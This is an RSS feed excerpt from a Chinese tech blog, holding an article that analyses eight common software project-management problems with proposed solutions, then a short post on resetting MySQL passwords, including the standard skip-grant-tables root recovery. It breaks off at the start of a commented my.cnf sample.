问题点评：渐近明细是项目的特点，但这并不意味着不需要计划。没有计划或者是随意的不负责任的计划的项目是一种无法控制的项目。在高技术行业，日新月异是主要特点，因此计划的制定需要在一定条件的限制和假设之下采用渐近明细的方式进行不断完善。例如对于较为大型的软件开发项目的工作分解结构WBS可采用二次WBS方法。即根据总体阶段划分的总体WBS和专门针对详细设计或编码阶段的二次WBS。这其中部分的原因是需求的颗粒度在一开始往往是比较粗的，因此根据功能点对于整体项目规模的估计误差范围也是比较大的。更为重要的原因是，需求往往不是编码工作分解的准确依据，因为一个需求的功能点可能对应多个代码模块，而多个需求的功能点也可能只对应一个或少数代码模块，同时还有软件复用等因素要考虑，因此只有在概要设计完成以后才能准确地得到详细设计或编码阶段的二次WBS，根据代码模块的合理划分而得出的二次WBS才能在详细设计、编码阶段乃至测试阶段起到有效把握和控制进度的作用。有些项目的需求或设计做得不够详细，无法对工作任务的分解、均衡分配和进度管理起参考作用，对此应当及时改善。 </p>
<p>制定计划的过程就是一个对项目逐渐了解掌握的过程，通过认真地制定计划，项目经理可以知道哪些要素是明确的，哪些要素是要逐渐明确的，通过渐近明细不断完善项目计划。阶段计划中包含的工作汇报和下一阶段工作安排是掌握项目进度的依据，从阶段计划对照总体计划，才能一目了然地看出工作的进展情况。制定计划的过程，也是在进度、资源、范围之间寻求一种平衡的过程。制定计划的精髓不在于写出一份好看的文档，而在于运用您的智慧去应对各种问题和面临风险并尽可能做出前瞻性的思考。一旦计划被负责任地完成，他就可以给自己一个和管理层或客户交流与协商的基础，帮助你在项目过程中防范各种问题的出现，帮助你保证项目按时完成。 </p>
<p>解决方案：提高项目经理的计划意识，采用项目计划制定相关各种知识、技术、工具，加强对开发计划、阶段计划的有效性进行事前事后的评估。 </p>
<p>问题三、管理意识问题 </p>
<p>相关对象：项目经理 </p>
<p>问题说明：部分项目经理没有意识到自己项目经理的角色，从总体上去把握管理整个项目，而是埋头于具体的技术工作，造成项目组成员之间忙的忙、闲的闲，计划不周、任务不均、资源浪费。 </p>
<p>问题点评：在软件企业中，项目经理大多是技术骨干，技术方面的知识比较深厚，但无论是项目管理知识，还是项目管理必备的技能、项目管理必备的素质都有待补充和提高，项目管理经验也有待丰富。有些项目经理对于一些不服管理的技术人员，没有较好的管理方法，工作不好安排的工作只好自己做。另外由于工作分解结构设计的合理性，项目任务无法有效、合理地分配给相关成员，以达到“负载均衡”。因此技术骨干在担任项目经理之前，最好能经过系统的项目管理知识，特别是其中的人力资源管理、沟通管理的学习，并且在实际工作中不断提高自己的管理素质，丰富项目管理经验，提高项目管理意识。 </p>
<p>解决方案：加强项目管理方面的培训，并通过对考核指标的合理设定和宣传引导项目经理更好地做好项目管理工作。 </p>
<p>问题四：沟通意识问题 </p>
<p>相关人员：项目经理、项目组成员 </p>
<p>问题说明：在项目中一些重要信息没有进行充分和有效的沟通。在制定计划、意见反馈、情况通报、技术问题或成果等方面与相关人员的沟通不足，造成各做各事、重复劳动，甚至造成不必要的损失；有些人没有每天定时收邮件的习惯，以至于无法及时接收最新的信息。 </p>
<p>问题点评：项目沟通管理指出：“管理者要用70％的时间用于与人沟通，而项目经理需要花费90％或更多的时间来沟通”。和问题三的情况类似，在软件企业中，项目经理大多是技术骨干，而项目组成员也都是“高科技人员”，都具有“从专业或学术出发、工作自主性大、自我欣赏、以自我为中心”等共同的特点。因此妨碍沟通的因素主要是“感觉和态度问题”，也就是沟通意识和习惯的问题。在系统的实施阶段或软件开发的试运行阶段，项目成员基本上是持续是在客户方进行工作，这种情况非常容易忽视沟通。项目组与组织之间、项目组与项目组成员之间，甚至同一个项目组的不同成员之间，都有可能在不同的地点，如果没有足够的沟通意识和沟通制度、沟通工具，就有可能造成信息不畅，从而加大项目失败的风险。即使都在公司内部也应做到及时沟通。所以项目经理不但自己要把工作重点放在沟通，善于沟通，还要引导、约定整个项目团队进行及时充分的沟通。 </p>
<p>解决方案：制定有效的沟通制度和沟通机制，对由于缺乏沟通而造成的事件进行通报作为教训提醒，以提高沟通意识；沟通方式应根据内容而多样化，讲究有效率的沟通；通过制度规定对由于未及时收取邮件而造成损失的责任归属；对于特别重要的内容要采用多种方式进行有效沟通以确保传达到位，例如除发送邮件外还要电话提醒、回执等，重要的内容还要通过举行各种会议进行传达。 </p>
<p>问题五：风险管理意识问题 </p>
<p>相关人员：项目经理 </p>
<p>问题说明：项目经理没有充分分析可能的风险，对付风险的策略考虑比较简单。项目经理在做项目规划时常常没有做专门的风险管理计划文档，而是合并在项目计划书中。有些项目经理没有充分意识到风险管理的重要性，对计划书中风险管理的章节简单应付了事，随便列出几个风险，随便地写一些简单的对策，对于后面的风险防范起不到什么指导作用。 </p>
<p>问题点评：项目风险管理是对项目潜在的意外损失进行规划、识别、估计、评价、应对和监控的过程，是对项目目标的主动控制手段。采取主动行动，创造条件，尽量扩大风险的有利结果，以最少的成本保证安全、可靠地实现项目目标。因此项目风险管理对于保证项目目标的实现是非常重要的。 </p>
<p>解决方案：通过学习项目管理知识掌握风险识别、量化、对策研究、反应控制的工具和方法掌握项目风险管理所必备的知识。通过加强对项目规划中风险管理计划的审核提高项目组的风险管理意识。总结本行业项目中常见的风险及其对策作为风险管理计划中必要的风险内容，并切实评估相应对策的有效性和可行性。
问题六：不重视项目经验的总结 </p>
<p>相关人员：项目经理、管理人员 </p>
<p>问题说明：项目经理在项目结束时有些是因为自身对写文档工作的兴趣或意识，或者是因为紧接着要参加下一个项目，总体对项目总结的重视程度不够。有些是项目总结报告一再拖延，有些是交上来的报告质量较低，敷衍了事。 </p>
<p>问题点评：项目经验总结非常重要，有利于组织内部或行业内部经验与数据的积累，项目过程的改进和技术与管理经验积累，对于今后的项目有非常重要的指导意义，因此应当引起项目经理及管理人员的足够重视。在项目管理的39个过程中，需要输入历史信息的就有9处之多。这些历史信息的来源从内部获得的主要来自以前项目的经验总结，可见项目经验总结是非常必要的。历史的数据使可以新的项目进行更为准确全面的规划，历史的教训可以使新的项目少走不必要的弯路，少花不必要的代价，减少项目失败的风险。 </p>
<p>解决方案：在制度上鼓励和加强项目经验总结工作，使得项目总结及时并且具有指导意义而不是走过场。 </p>
<p>问题七：项目干系人相关问题 </p>
<p>相关人员：项目经理、项目成员、客户 </p>
<p>问题说明：在范围识别阶段，项目组对客户的整体组织结构、有关人员及其关系、工作职责等没有足够了解以致于无法得到完整需求或最终经权威用户代表确认的需求。由于项目经理的工作问题，客户参与程度部不高，客户方相关责任人不明确或对范围和要求责任心不强，提出的要求具有随意性，项目前期对需求的确认不够积极；或者是多个用户代表各说各话、昨是今非但同时又要求项目尽早交付；项目后期需求变化随意，造成项目范围的蔓延，进度的拖延，成本的扩大。 </p>
<p>问题点评：项目干系人STAKEHOLDER也有的翻译成利益关系人、利害关系人、利益干系人、利益共享者、涉众等等，即所有可能受到项目结果重大影响的人（不知道是因为中国的词汇过于贫乏，以至于你用来翻译的词我不满意，非要找另一个，结果没有一个词可以真正表达STAKEHOLDER的原意；还是因为中国的词汇过于丰富，爱怎么选就怎么选。看来中国要统一真是任重道远啊。）。项目干系人即可能是项目的受益者，也是项目的风险承担者，甚至有可能是项目的受害者。项目干系人的要求包含明确的和隐含的，也可以分为NEED、WANT、WISH等不同层次。不同的干系人其愿望和追求的目标往往相差甚远，因此对项目干系人的愿望进行平衡可能是相当困难的事情。例如政府部门的不少对群众办公的信息系统，上层管理机关往往希望能够采集尽可能多的信息项以便对数据进行多种多样的统计分析，并对信息进行有效控制而增加一些审批流程；基层对外办公的窗口则因为办公速度的压力希望减少信息的输入；而客户的客户（办事群众）则希望相关政府机构能够简化工作流程，加快办事速度。如果对项目所有干系人没有进行足够的沟通和影响，使其尽可能地参与项目，则可能因为项目开始时项目范围和一些具体要求不够完整清晰，也可能因为某个项目干系人后期因为认识的变化而提出新的要求，造成工期的延长，成本的增加，甚至项目的完全失败。 </p>
<p>解决方案：项目的目的就是实现项目干系人的需求和愿望。项目干系人管理应当从项目的启动开始，项目经理及其项目成员就要分清项目干系人包含哪些人和组织，通过沟通协调对他们施加影响，驱动他们对项目的支持，调查并明确他们的需求和愿望，减小其对项目的阻力，以确保项目获得成功。 </p>
<p>问题八：项目团队内分工协作问题 </p>
<p>相关人员：项目经理、项目成员 </p>
<p>问题说明：项目团队内部有时由于各阶段不同角色或同阶段不同角色之间的责任分工不够清晰而造成工作互相推诿、责任互相推卸的现象，有时各阶段不同角色或同阶段不同角色之间的责任分工比较清晰但是各项目成员只顾完成自己那部分任务、不愿意与他人协作。这些现象或多或少地造成了项目团队内部资源的损耗，从而影响了项目的进展。 </p>
<p>问题点评：出现这种情况主要是项目经理的责任，项目经理应当使用WBS尽快地将工作范围进行分解，并将分解的工作责任分配给团队成员，这样就可以按任务分清每个人的责任；虽然项目的进行有不同阶段的划分，但每个阶段的结束不是简单地把阶段工作成果塞给下一阶段的成员就可以了。特别是高科技的开发项目，上一阶段的工作成果往往要通过多次的沟通才能更为清晰地被下一阶段成员接受，其有效性、合理性也要被下一阶段的工作所检验，通过检验有时也有必要对上一阶段的工作结果进行相应的调整。在同一个阶段中，不同的分工之间也存在各种各样复杂的关系，相互之间通过接口，一个或几个项任务的输出是另一个或几个任务的输入。因此，无论是同一阶段不同人员之间，或是不同阶段人员之间都应根据需要相互协作，相互配合，共同完成项目任务。 </p>
<p>解决方案：项目经理应当对项目成员的责任进行合理的分配并清楚地说明，同时应强调不同分工、不同环节的成员应当相互协作，共同完善。 </p>
<p>以上对软件开发项目管理中出现的问题的分析可能还不够深入，也无法列举所有遇到或将遇到的问题，解决方案也要根据实际情况进行调整，只能作为个人的观点，希望引起大家对这些问题的思考、改进。 </p>
<p>项目是在一定资源及环境的约束下为完成某一独特的产品或服务所作的一次性努力。项目应当具有明确的目标，而这个目标往往是多重的，需要考虑范围目标、质量目标、进度目标、成本目标和其他目标等等。在一定条件的约束下，要想使各种目标都达到完美是不可能的任务，必须对各种目标的重要性进行排序、取舍、平衡。就像图1所示，资源的约束就像一条绳子，牵制着各项目标的达成。例如，假设质量目标是最重要的，则一定要有足够的资源或时间作为保障，这就是牺牲成本目标或进度目标；假设没有足够的资源或时间，又要完成项目范围目标，则质量目标必然受到牺牲。有一种观点认为，为了保证某个目标的实现，就要把其他目标的标准降低，因此对其他目标达成的评价标准也要相应调整到较为宽松的程度。这种想法是不正确的。目标达成的评价标准应该是对所有项目都一视同仁的，对同类的不同项目应当采用相同的评价标准，这样才能在项目组织间取得平衡。例如对质量的要求，一般项目需要90分才算完成质量目标，而对某些进度、资源紧张的项目，80分就可以算完成质量目标。这样才能对项目的质量有个可横向比较的、实事求是的结论，而不是对此项目降低评估标准去够到90分的质量目标。同时这种情况下的考核结果不能作为相关项目成员水平的指标。 </p>
<p>由于的资源约束性、多重目标性，需要项目经理努力学习项目管理相关知识、技能，在实践中锻炼提高，解决各种各样的问题，使项目管理工作越做越好。 </p>
]]></description>
			<content:encoded><![CDATA[<p>摘要： </p>
<p>本文分析了软件项目管理常见问题：缺乏项目管理系统培训、项目计划意识问题、管理意识问题、沟通意识问题、风险管理意识问题、不重视项目经验的总结、项目干系人相关问题、项目团队内分工协作问题，抛砖引玉地提出了部分解决方案，提出了项目约束绳与多重目标模型。 </p>
<p>关键字： </p>
<p>软件项目管理、问题、分析 </p>
<p>正文： </p>
<p>目前许多软件开发公司实行了ISO质量管理体系，也有越来越多的公司通过了CMM软件成熟度相应级别认证。各软件在制定ISO质量管理体系时结合了部分项目管理的思想和技术，因此这些经过认证的公司的项目管理工作在ISO质量管理体系或CMM的帮助或约束下已有一定的规范，项目可以按照规定的过程一步一步做下去。但ISO体系注重的是质量管理（即用过程保证质量），早期更多的是针对制造业，而CMM主要是针对软件开发过程的关键过程域，都没有针对项目管理的全部范畴，如对于整体、范围、进度、人力资源、成本、沟通、风险、采购等的管理，即使有涉及到也是在专业范围内通过对过程的把握来保证各种质量要求，而在过程规定之外还需要依靠项目相关各方运用项目管理知识、工具、集体与个人的智慧来使项目管理做得更好，以保证项目在使用最少的时间、资源情况下按时保质地完成。 </p>
<p>最近通过几次 “项目管理知识培训”，本人系统地学习了项目管理基础和项目管理实践等课程，掌握了项目管理在系统集成方面应用所必备的知识。结合所学的项目管理知识，我们可以对照我们原来的项目管理工作中存在的常见问题，利用项目管理知识进行分析，并提出解决的方案，希望有利于大家逐步改进我们的项目管理工作。这些方案因受到本人知识和工作经验的局限，只能起到一个抛砖引玉或参考的作用。 </p>
<p>分析目前项目管理需要改进的问题可以从几种相关角色的角度去考虑：项目经理、项目组成员、公司管理人员、市场人员、客户等。 </p>
<p>问题一：缺乏项目管理系统培训 </p>
<p>相关对象：项目经理、管理人员 </p>
<p>问题说明：项目经理在项目管理方面的培训较少或不够系统。项目经理或管理人员不了解项目管理的知识体系和一些常用工具和方法，所以在实际工作中没有项目管理知识的指导，完全依靠个人现有的知识技能，管理工作的随意性、盲目性比较大。有些学员说：“听了这些课才知道项目管理原来还有这么多的学问。”例如对于如何利用工作分解结构使项目的工作范围更加明确，如何用前导图法对活动进行排序并估算项目进度、制定项目进度计划，如何利用挣值法跟踪项目进度，项目经理的职责与必备素质、应具备的能力、工作方法，如何根据各种组织结构及其优缺点进行选择，如何对于风险进行定性定量分析等等，通过这次培训有了初步的掌握，将能够很快地应用到实际工作中。 </p>
<p>问题点评：在软件企业中，以前几乎没有专门招收项目管理专业的人员来担任项目经理（甚至很少是管理专业的），被任命的项目经理主要是因为他们能够在技术上独当一面，而管理方面特别是项目管理方面的知识比较缺乏。因此项目经理接受系统的项目管理知识培训是非常必要的，有了专业领域的知识与实践，再加上项目管理知识与实践和一般管理的知识和经验的有机结合，必能大大提高项目经理的项目管理水平。 </p>
<p>解决方案：实行项目经理知识技能资格考核制度，让项目经理自觉补充学习项目管理的知识和一些常用工具和方法。 </p>
<p>问题二：项目计划意识问题 </p>
<p>相关对象：项目经理 </p>
<p>问题说明：项目经理对总体计划、阶段计划的作用认识不足。项目经理认为计划不如变化快，项目中也有很多不确定的因素，做计划是走过场，因此制定总体计划时比较随意，不少事情没有仔细考虑；阶段计划因工作忙等理由经常拖延，造成计划与控制管理脱节，无法进行有效的进度控制管理。<br />
<span id="more-1354"></span><br />
问题点评：渐近明细是项目的特点，但这并不意味着不需要计划。没有计划或者是随意的不负责任的计划的项目是一种无法控制的项目。在高技术行业，日新月异是主要特点，因此计划的制定需要在一定条件的限制和假设之下采用渐近明细的方式进行不断完善。例如对于较为大型的软件开发项目的工作分解结构WBS可采用二次WBS方法。即根据总体阶段划分的总体WBS和专门针对详细设计或编码阶段的二次WBS。这其中部分的原因是需求的颗粒度在一开始往往是比较粗的，因此根据功能点对于整体项目规模的估计误差范围也是比较大的。更为重要的原因是，需求往往不是编码工作分解的准确依据，因为一个需求的功能点可能对应多个代码模块，而多个需求的功能点也可能只对应一个或少数代码模块，同时还有软件复用等因素要考虑，因此只有在概要设计完成以后才能准确地得到详细设计或编码阶段的二次WBS，根据代码模块的合理划分而得出的二次WBS才能在详细设计、编码阶段乃至测试阶段起到有效把握和控制进度的作用。有些项目的需求或设计做得不够详细，无法对工作任务的分解、均衡分配和进度管理起参考作用，对此应当及时改善。 </p>
<p>制定计划的过程就是一个对项目逐渐了解掌握的过程，通过认真地制定计划，项目经理可以知道哪些要素是明确的，哪些要素是要逐渐明确的，通过渐近明细不断完善项目计划。阶段计划中包含的工作汇报和下一阶段工作安排是掌握项目进度的依据，从阶段计划对照总体计划，才能一目了然地看出工作的进展情况。制定计划的过程，也是在进度、资源、范围之间寻求一种平衡的过程。制定计划的精髓不在于写出一份好看的文档，而在于运用您的智慧去应对各种问题和面临风险并尽可能做出前瞻性的思考。一旦计划被负责任地完成，他就可以给自己一个和管理层或客户交流与协商的基础，帮助你在项目过程中防范各种问题的出现，帮助你保证项目按时完成。 </p>
<p>解决方案：提高项目经理的计划意识，采用项目计划制定相关各种知识、技术、工具，加强对开发计划、阶段计划的有效性进行事前事后的评估。 </p>
<p>问题三、管理意识问题 </p>
<p>相关对象：项目经理 </p>
<p>问题说明：部分项目经理没有意识到自己项目经理的角色，从总体上去把握管理整个项目，而是埋头于具体的技术工作，造成项目组成员之间忙的忙、闲的闲，计划不周、任务不均、资源浪费。 </p>
<p>问题点评：在软件企业中，项目经理大多是技术骨干，技术方面的知识比较深厚，但无论是项目管理知识，还是项目管理必备的技能、项目管理必备的素质都有待补充和提高，项目管理经验也有待丰富。有些项目经理对于一些不服管理的技术人员，没有较好的管理方法，工作不好安排的工作只好自己做。另外由于工作分解结构设计的合理性，项目任务无法有效、合理地分配给相关成员，以达到“负载均衡”。因此技术骨干在担任项目经理之前，最好能经过系统的项目管理知识，特别是其中的人力资源管理、沟通管理的学习，并且在实际工作中不断提高自己的管理素质，丰富项目管理经验，提高项目管理意识。 </p>
<p>解决方案：加强项目管理方面的培训，并通过对考核指标的合理设定和宣传引导项目经理更好地做好项目管理工作。 </p>
<p>问题四：沟通意识问题 </p>
<p>相关人员：项目经理、项目组成员 </p>
<p>问题说明：在项目中一些重要信息没有进行充分和有效的沟通。在制定计划、意见反馈、情况通报、技术问题或成果等方面与相关人员的沟通不足，造成各做各事、重复劳动，甚至造成不必要的损失；有些人没有每天定时收邮件的习惯，以至于无法及时接收最新的信息。 </p>
<p>问题点评：项目沟通管理指出：“管理者要用70％的时间用于与人沟通，而项目经理需要花费90％或更多的时间来沟通”。和问题三的情况类似，在软件企业中，项目经理大多是技术骨干，而项目组成员也都是“高科技人员”，都具有“从专业或学术出发、工作自主性大、自我欣赏、以自我为中心”等共同的特点。因此妨碍沟通的因素主要是“感觉和态度问题”，也就是沟通意识和习惯的问题。在系统的实施阶段或软件开发的试运行阶段，项目成员基本上是持续是在客户方进行工作，这种情况非常容易忽视沟通。项目组与组织之间、项目组与项目组成员之间，甚至同一个项目组的不同成员之间，都有可能在不同的地点，如果没有足够的沟通意识和沟通制度、沟通工具，就有可能造成信息不畅，从而加大项目失败的风险。即使都在公司内部也应做到及时沟通。所以项目经理不但自己要把工作重点放在沟通，善于沟通，还要引导、约定整个项目团队进行及时充分的沟通。 </p>
<p>解决方案：制定有效的沟通制度和沟通机制，对由于缺乏沟通而造成的事件进行通报作为教训提醒，以提高沟通意识；沟通方式应根据内容而多样化，讲究有效率的沟通；通过制度规定对由于未及时收取邮件而造成损失的责任归属；对于特别重要的内容要采用多种方式进行有效沟通以确保传达到位，例如除发送邮件外还要电话提醒、回执等，重要的内容还要通过举行各种会议进行传达。 </p>
<p>问题五：风险管理意识问题 </p>
<p>相关人员：项目经理 </p>
<p>问题说明：项目经理没有充分分析可能的风险，对付风险的策略考虑比较简单。项目经理在做项目规划时常常没有做专门的风险管理计划文档，而是合并在项目计划书中。有些项目经理没有充分意识到风险管理的重要性，对计划书中风险管理的章节简单应付了事，随便列出几个风险，随便地写一些简单的对策，对于后面的风险防范起不到什么指导作用。 </p>
<p>问题点评：项目风险管理是对项目潜在的意外损失进行规划、识别、估计、评价、应对和监控的过程，是对项目目标的主动控制手段。采取主动行动，创造条件，尽量扩大风险的有利结果，以最少的成本保证安全、可靠地实现项目目标。因此项目风险管理对于保证项目目标的实现是非常重要的。 </p>
<p>解决方案：通过学习项目管理知识掌握风险识别、量化、对策研究、反应控制的工具和方法掌握项目风险管理所必备的知识。通过加强对项目规划中风险管理计划的审核提高项目组的风险管理意识。总结本行业项目中常见的风险及其对策作为风险管理计划中必要的风险内容，并切实评估相应对策的有效性和可行性。<br />
问题六：不重视项目经验的总结 </p>
<p>相关人员：项目经理、管理人员 </p>
<p>问题说明：项目经理在项目结束时有些是因为自身对写文档工作的兴趣或意识，或者是因为紧接着要参加下一个项目，总体对项目总结的重视程度不够。有些是项目总结报告一再拖延，有些是交上来的报告质量较低，敷衍了事。 </p>
<p>问题点评：项目经验总结非常重要，有利于组织内部或行业内部经验与数据的积累，项目过程的改进和技术与管理经验积累，对于今后的项目有非常重要的指导意义，因此应当引起项目经理及管理人员的足够重视。在项目管理的39个过程中，需要输入历史信息的就有9处之多。这些历史信息的来源从内部获得的主要来自以前项目的经验总结，可见项目经验总结是非常必要的。历史的数据使可以新的项目进行更为准确全面的规划，历史的教训可以使新的项目少走不必要的弯路，少花不必要的代价，减少项目失败的风险。 </p>
<p>解决方案：在制度上鼓励和加强项目经验总结工作，使得项目总结及时并且具有指导意义而不是走过场。 </p>
<p>问题七：项目干系人相关问题 </p>
<p>相关人员：项目经理、项目成员、客户 </p>
<p>问题说明：在范围识别阶段，项目组对客户的整体组织结构、有关人员及其关系、工作职责等没有足够了解以致于无法得到完整需求或最终经权威用户代表确认的需求。由于项目经理的工作问题，客户参与程度部不高，客户方相关责任人不明确或对范围和要求责任心不强，提出的要求具有随意性，项目前期对需求的确认不够积极；或者是多个用户代表各说各话、昨是今非但同时又要求项目尽早交付；项目后期需求变化随意，造成项目范围的蔓延，进度的拖延，成本的扩大。 </p>
<p>问题点评：项目干系人STAKEHOLDER也有的翻译成利益关系人、利害关系人、利益干系人、利益共享者、涉众等等，即所有可能受到项目结果重大影响的人（不知道是因为中国的词汇过于贫乏，以至于你用来翻译的词我不满意，非要找另一个，结果没有一个词可以真正表达STAKEHOLDER的原意；还是因为中国的词汇过于丰富，爱怎么选就怎么选。看来中国要统一真是任重道远啊。）。项目干系人即可能是项目的受益者，也是项目的风险承担者，甚至有可能是项目的受害者。项目干系人的要求包含明确的和隐含的，也可以分为NEED、WANT、WISH等不同层次。不同的干系人其愿望和追求的目标往往相差甚远，因此对项目干系人的愿望进行平衡可能是相当困难的事情。例如政府部门的不少对群众办公的信息系统，上层管理机关往往希望能够采集尽可能多的信息项以便对数据进行多种多样的统计分析，并对信息进行有效控制而增加一些审批流程；基层对外办公的窗口则因为办公速度的压力希望减少信息的输入；而客户的客户（办事群众）则希望相关政府机构能够简化工作流程，加快办事速度。如果对项目所有干系人没有进行足够的沟通和影响，使其尽可能地参与项目，则可能因为项目开始时项目范围和一些具体要求不够完整清晰，也可能因为某个项目干系人后期因为认识的变化而提出新的要求，造成工期的延长，成本的增加，甚至项目的完全失败。 </p>
<p>解决方案：项目的目的就是实现项目干系人的需求和愿望。项目干系人管理应当从项目的启动开始，项目经理及其项目成员就要分清项目干系人包含哪些人和组织，通过沟通协调对他们施加影响，驱动他们对项目的支持，调查并明确他们的需求和愿望，减小其对项目的阻力，以确保项目获得成功。 </p>
<p>问题八：项目团队内分工协作问题 </p>
<p>相关人员：项目经理、项目成员 </p>
<p>问题说明：项目团队内部有时由于各阶段不同角色或同阶段不同角色之间的责任分工不够清晰而造成工作互相推诿、责任互相推卸的现象，有时各阶段不同角色或同阶段不同角色之间的责任分工比较清晰但是各项目成员只顾完成自己那部分任务、不愿意与他人协作。这些现象或多或少地造成了项目团队内部资源的损耗，从而影响了项目的进展。 </p>
<p>问题点评：出现这种情况主要是项目经理的责任，项目经理应当使用WBS尽快地将工作范围进行分解，并将分解的工作责任分配给团队成员，这样就可以按任务分清每个人的责任；虽然项目的进行有不同阶段的划分，但每个阶段的结束不是简单地把阶段工作成果塞给下一阶段的成员就可以了。特别是高科技的开发项目，上一阶段的工作成果往往要通过多次的沟通才能更为清晰地被下一阶段成员接受，其有效性、合理性也要被下一阶段的工作所检验，通过检验有时也有必要对上一阶段的工作结果进行相应的调整。在同一个阶段中，不同的分工之间也存在各种各样复杂的关系，相互之间通过接口，一个或几个项任务的输出是另一个或几个任务的输入。因此，无论是同一阶段不同人员之间，或是不同阶段人员之间都应根据需要相互协作，相互配合，共同完成项目任务。 </p>
<p>解决方案：项目经理应当对项目成员的责任进行合理的分配并清楚地说明，同时应强调不同分工、不同环节的成员应当相互协作，共同完善。 </p>
<p>以上对软件开发项目管理中出现的问题的分析可能还不够深入，也无法列举所有遇到或将遇到的问题，解决方案也要根据实际情况进行调整，只能作为个人的观点，希望引起大家对这些问题的思考、改进。 </p>
<p>项目是在一定资源及环境的约束下为完成某一独特的产品或服务所作的一次性努力。项目应当具有明确的目标，而这个目标往往是多重的，需要考虑范围目标、质量目标、进度目标、成本目标和其他目标等等。在一定条件的约束下，要想使各种目标都达到完美是不可能的任务，必须对各种目标的重要性进行排序、取舍、平衡。就像图1所示，资源的约束就像一条绳子，牵制着各项目标的达成。例如，假设质量目标是最重要的，则一定要有足够的资源或时间作为保障，这就是牺牲成本目标或进度目标；假设没有足够的资源或时间，又要完成项目范围目标，则质量目标必然受到牺牲。有一种观点认为，为了保证某个目标的实现，就要把其他目标的标准降低，因此对其他目标达成的评价标准也要相应调整到较为宽松的程度。这种想法是不正确的。目标达成的评价标准应该是对所有项目都一视同仁的，对同类的不同项目应当采用相同的评价标准，这样才能在项目组织间取得平衡。例如对质量的要求，一般项目需要90分才算完成质量目标，而对某些进度、资源紧张的项目，80分就可以算完成质量目标。这样才能对项目的质量有个可横向比较的、实事求是的结论，而不是对此项目降低评估标准去够到90分的质量目标。同时这种情况下的考核结果不能作为相关项目成员水平的指标。 </p>
<p>由于的资源约束性、多重目标性，需要项目经理努力学习项目管理相关知识、技能，在实践中锻炼提高，解决各种各样的问题，使项目管理工作越做越好。 </p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1354.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MYSQL修改密码的几种方式</title>
		<link>http://www.evanjiang.net.cn/archives/1352.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1352.html#comments</comments>
		<pubDate>Sat, 17 Oct 2009 07:49:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1352</guid>
		<description><![CDATA[<p>方法一:</p>
<p>(适用于管理员或者有全局权限的用户重设其它用户的密码)
进入命令行模式
mysql -u root mysql
mysql> UPDATE user SET password=PASSWORD(&#8220;new password&#8221;) WHERE user=&#8217;name&#8217;;
　　mysql> FLUSH PRIVILEGES;
　　mysql> QUIT </p>
<p>方法二:
(应用同上,只是方法不同)
 mysql -u root mysql
　　mysql> SET PASSWORD FOR name=PASSWORD(&#8216;new password&#8217;);
　　mysql> QUIT </p>
<p>(以上两种方法我不常用,如果是管理员,我会用其它如phpmyadmin或者MYSQL-front 等工具来管理用户权限,比较直观又方便)

最后必杀技:</p>
<p>mysqladmin -u root &#8220;old password&#8221; &#8220;new password&#8221; </p>
<p>解:以上有name的,请用你的用户名来替代.有new password请输入你想要设置的密码.</p>
<p>如果 MySQL 正在运行，
首先杀之： killall -TERM mysqld(如果是windows,直接调出进程管理器,结束之)
以安全模式启动 MySQL ：
/usr/bin/safe_mysqld &#8211;skip-grant-tables &#038;
(windows 下 mysql安装所以盘/mysql/bin/safe_mysqld &#8211;skip-grant-tables )
就可以不需要密码就进入 MySQL 了。
然后就是
>use mysql
>update user set password=password(&#8220;new_pass&#8221;) where [...]]]></description>
			<content:encoded><![CDATA[<p>方法一:</p>
<p>(适用于管理员或者有全局权限的用户重设其它用户的密码)<br />
进入命令行模式<br />
mysql -u root mysql<br />
mysql> UPDATE user SET password=PASSWORD(&#8220;new password&#8221;) WHERE user=&#8217;name&#8217;;<br />
　　mysql> FLUSH PRIVILEGES;<br />
　　mysql> QUIT </p>
<p>方法二:<br />
(应用同上,只是方法不同)<br />
 mysql -u root mysql<br />
　　mysql> SET PASSWORD FOR name=PASSWORD(&#8216;new password&#8217;);<br />
　　mysql> QUIT </p>
<p>(以上两种方法我不常用,如果是管理员,我会用其它如phpmyadmin或者MYSQL-front 等工具来管理用户权限,比较直观又方便)<br />
<span id="more-1352"></span><br />
最后必杀技:</p>
<p>mysqladmin -u root &#8220;old password&#8221; &#8220;new password&#8221; </p>
<p>解:以上有name的,请用你的用户名来替代.有new password请输入你想要设置的密码.</p>
<p>如果 MySQL 正在运行，<br />
首先杀之： killall -TERM mysqld(如果是windows,直接调出进程管理器,结束之)<br />
以安全模式启动 MySQL ：<br />
/usr/bin/safe_mysqld &#8211;skip-grant-tables &#038;<br />
(windows 下 mysql安装所以盘/mysql/bin/safe_mysqld &#8211;skip-grant-tables )<br />
就可以不需要密码就进入 MySQL 了。<br />
然后就是<br />
>use mysql<br />
>update user set password=password(&#8220;new_pass&#8221;) where user=&#8221;root&#8221;;<br />
>flush privileges;<br />
重新杀 MySQL ，用正常方法启动 MySQL 。 </p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1352.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL配置文件my.cnf中文版</title>
		<link>http://www.evanjiang.net.cn/archives/1342.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1342.html#comments</comments>
		<pubDate>Sat, 17 Oct 2009 07:45:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1342</guid>
		<description><![CDATA[<p>#BEGIN CONFIG INFO
#DESCR: 4GB RAM, 只使用InnoDB, ACID, 少量的连接, 队列负载大
#TYPE: SYSTEM
#END CONFIG INFO</p>
<p>#
# 此mysql配置文件例子针对4G内存
# 主要使用INNODB
#处理复杂队列并且连接数量较少的mysql服务器
#
# 将此文件复制到/etc/my.cnf 作为全局设置,
# mysql-data-dir/my.cnf 作为服务器指定设置
# (@localstatedir@ for this installation) 或者放入
# ~/.my.cnf 作为用户设置.
#
# 在此配置文件中, 你可以使用所有程序支持的长选项.
# 如果想获悉程序支持的所有选项
# 请在程序后加上&#8221;&#8211;help&#8221;参数运行程序.
#
# 关于独立选项更多的细节信息可以在手册内找到
#</p>
<p>#
# 以下选项会被MySQL客户端应用读取.
# 注意只有MySQL附带的客户端应用程序保证可以读取这段内容.
# 如果你想你自己的MySQL应用程序获取这些值
